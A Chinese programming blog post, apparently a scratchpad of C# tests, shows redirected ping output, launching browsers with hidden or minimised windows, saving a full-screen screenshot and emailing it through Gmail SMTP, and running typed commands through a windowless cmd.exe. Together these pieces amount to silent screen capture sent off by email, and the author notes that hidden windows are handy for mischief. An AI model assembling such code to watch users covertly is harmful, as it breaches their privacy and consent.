乱七八糟的一些测试 DOS命令重定向 截屏 邮件发送附件

主要内容包括   DOS窗口下命令的重定性输出 
               启动其他的进程或者程序,实现隐藏,窗口化等
               截图测试
               利用GMAIL发送截图。

 

 

 

 

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Threading;
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
using System.Net.Mime;

namespace Discuz.MyTest
{
    class Program
    {
        static void Main(string[] args)
        {
#if Net
    Console.WriteLine("条件编译进入了这里Net");
          
           
           
            //进行DOS命令的输出
            ProcessStartInfo start = new ProcessStartInfo("Ping.exe");
            //设置运行的命令行文件 ping.exe文件,这个文件系统会自己找到
            //如果是其它exe文件,则有可能需要指定详细路径,如运行winRar.exe
            start.Arguments = "192.168.13.38";//设置命令参数
            start.CreateNoWindow = true;//不显示dos命令行窗口
            start.RedirectStandardOutput = true;//
            start.RedirectStandardInput = true;//
            start.UseShellExecute = false;//是否指定操作系统外壳进程启动程序
            Process p=Process.Start(start);
            StreamReader reader = p.StandardOutput;//截取输出流
            string line = reader.ReadLine();//每次读取一行
            while (!reader.EndOfStream)
            {
              
                line+= reader.ReadLine()+"/r/n";
            }
            Console.WriteLine(line + "/r/n ");
            p.WaitForExit();//等待程序执行完退出进程
            p.Close();//关闭进程
            reader.Close();//关闭流
         


//结束

 

//测试下启动IE
//Process.Start("IExplore.exe");
成功

//结束

 

//测试下启动IE
//Process.Start("IExplore.exe","http://www.baidu.com");

//结束 
OK


//测试下启动IE 不带http
//Process.Start("IExplore.exe", "www.163.com");

//结束
OK

           // //测试窗口样式
           // ProcessStartInfo startInfo = new ProcessStartInfo("IExplore.exe", "www.163.com");
           // //最小化任务栏
           //startInfo.WindowStyle = ProcessWindowStyle.Minimized;
           //Process.Start(startInfo);
     
           // //隐藏窗口  干坏事估计有用!!!!!
           // startInfo.WindowStyle = ProcessWindowStyle.Hidden;
           // Process.Start(startInfo);


           //   //最大化
           // startInfo.WindowStyle = ProcessWindowStyle.Maximized;

           // Process.Start(startInfo);
           // //正常
           // startInfo.WindowStyle = ProcessWindowStyle.Normal;

           // Process.Start(startInfo);


 //Normal 正常的可见窗口样式。系统会在屏幕上的默认位置显示具有 Normal 样式的窗口。如果窗口可见,用户就可以在该窗口中提供输入并查看窗口的输出。通常,应用程序可能会在自定义窗口外观时将新窗口初始化为 Hidden 样式,然后再使窗口样式成为 Normal。
 //Hidden 隐藏窗口样式。窗口可以采用可见或隐藏样式。系统会通过不绘制窗口来显示隐藏的窗口。当隐藏窗口时,实际上是将其禁用。隐藏的窗口可以从系统或其他窗口中处理消息,但它不能处理用户的输入,也不能显示输出。通常,应用程序可能会在自定义窗口外观时使新窗口保持隐藏,然后再使窗口样式成为 Normal。
 //Minimized 最小化窗口样式。默认情况下,系统会将最小化窗口缩小到任务栏按钮的大小并将最小化窗口移至任务栏上。
 //Maximized 最大化窗口样式。默认情况下,系统会放大最大化窗口,使其填充整个屏幕(或者在子窗口的情况下使其填充父窗口的整个工作区)。如果窗口具有标题栏,系统会自动将其移至屏幕的顶端或父窗口工作区的顶端。此外,系统会禁用窗口的可调整边框和标题栏的窗口定位功能,使用户无法通过拖动标题栏来移动窗口。

 // //结束
 // OK

    

            ///截屏测试
            Bitmap myImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
            Graphics g = Graphics.FromImage(myImage);
            g.CopyFromScreen(new Point(0, 0), new Point(0, 0), new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height));
            IntPtr dc1 = g.GetHdc();
            g.ReleaseHdc(dc1);
            myImage.Save(@"c:/screen0.jpg");

            ///结束

            // 截屏测试  窗口

            //Bitmap myImage1 = new Bitmap(this.Width, this.Height);
            //Graphics g1= Graphics.FromImage(myImage1);
            //g1.CopyFromScreen(new Point(this.Location.X, this.Location.Y), new Point(0, 0), new Size(this.Width, this.Height));
            //IntPtr dc2 = g.GetHdc();
            //g.ReleaseHdc(dc2);
            //myImage.Save(@"c:/screen1.jpg");

            //结束

 


               StringBuilder sb = new StringBuilder();
                string sEmail = "邮件地址";
            
                string sUsername = "张";
           
                //添加sb字符串  
                sb.Append("<div>" + sUsername + ":您好" + "<p />");
             //添加你要发送的内容

 


             
                sb.Append("</div>");
                MailAddress from = new MailAddress("邮件地址");
                MailAddress to = new MailAddress(sEmail);
                MailMessage mailobj = new MailMessage(from, to);

 

                string file = @"c:/screen0.jpg";
            //这里添加附件


                Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
                // Add time stamp information for the file.
                ContentDisposition disposition = data.ContentDisposition;
                disposition.CreationDate = System.IO.File.GetCreationTime(file);
                disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
                disposition.ReadDate = System.IO.File.GetLastAccessTime(file);


                mailobj.Attachments.Add(data);

            //结束


                mailobj.Subject = "测试通知!";
                mailobj.Body = sb.ToString();
                mailobj.IsBodyHtml = true;
                mailobj.BodyEncoding = System.Text.Encoding.UTF8;
                mailobj.Priority = MailPriority.High;
                SmtpClient smtp = new SmtpClient("smtp.gmail.com");
                smtp.UseDefaultCredentials = false;
                smtp.Credentials = new NetworkCredential("邮件地址 ", "密码");
                smtp.DeliveryMethod = SmtpDeliveryMethod.Network;

                smtp.Port = 587;
                smtp.EnableSsl = true;


                try
                {
                    smtp.Send(mailobj);
                   
                
                }
                catch(Exception ex)
                {


                    Console.WriteLine("发送失败啦!");
                    return;
                }      

 

 

            // 测试启动下火狐

            //Process.Start("D://Program Files//Mozilla Firefox//firefox.exe","HTTP://WWW.163.COM");
            //同ProcessStartInfo的arguments参数的效果一样
         
            //结束
           //成功

         string command=   Console.ReadLine();

         Console.WriteLine(OutCmd(command));


         Console.ReadLine();


#else
             Console.WriteLine("条件编译没有进入Net");
#endif
        }

        private static string OutCmd(string command)
        {

           //输出程序2
            //c#中的Process类可方便的调用外部程序,所以我们可以通过调用cmd.exe程序

            //加入参数 "/c " + 要执行的命令来执行一个dos命令
            //(/c代表执行参数指定的命令后关闭cmd.exe /k参数则不关闭cmd.exe)


            //實例一個Process類,啟動一個獨立進程
         Process    p = new Process();

            //Process類有一個StartInfo屬性,這個是ProcessStartInfo類,包括了一些屬性和方法,下面我們用到了他的幾個屬性:

            p.StartInfo.FileName = "cmd.exe";           //設定程序名
            p.StartInfo.Arguments = "/c " + command;    //設定程式執行參數
            p.StartInfo.UseShellExecute = false;        //關閉Shell的使用
            p.StartInfo.RedirectStandardInput = true;   //重定向標準輸入
            p.StartInfo.RedirectStandardOutput = true;  //重定向標準輸出
            p.StartInfo.RedirectStandardError = true;   //重定向錯誤輸出
            p.StartInfo.CreateNoWindow = true;          //設置不顯示窗口

            p.Start();   //啟動

            //p.StandardInput.WriteLine(command);       //也可以用這種方式輸入要執行的命令
            //p.StandardInput.WriteLine("exit");        //不過要記得加上Exit要不然下一行程式執行的時候會當機

            //從輸出流取得命令執行結果
            string result = p.StandardOutput.ReadToEnd();

            p.Close();

            //结束

            return result;
        }
    }
}

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
<script src="http://www.cdccis.com/js/skin/googlesearch.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_sdo.js" type="text/javascript"></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值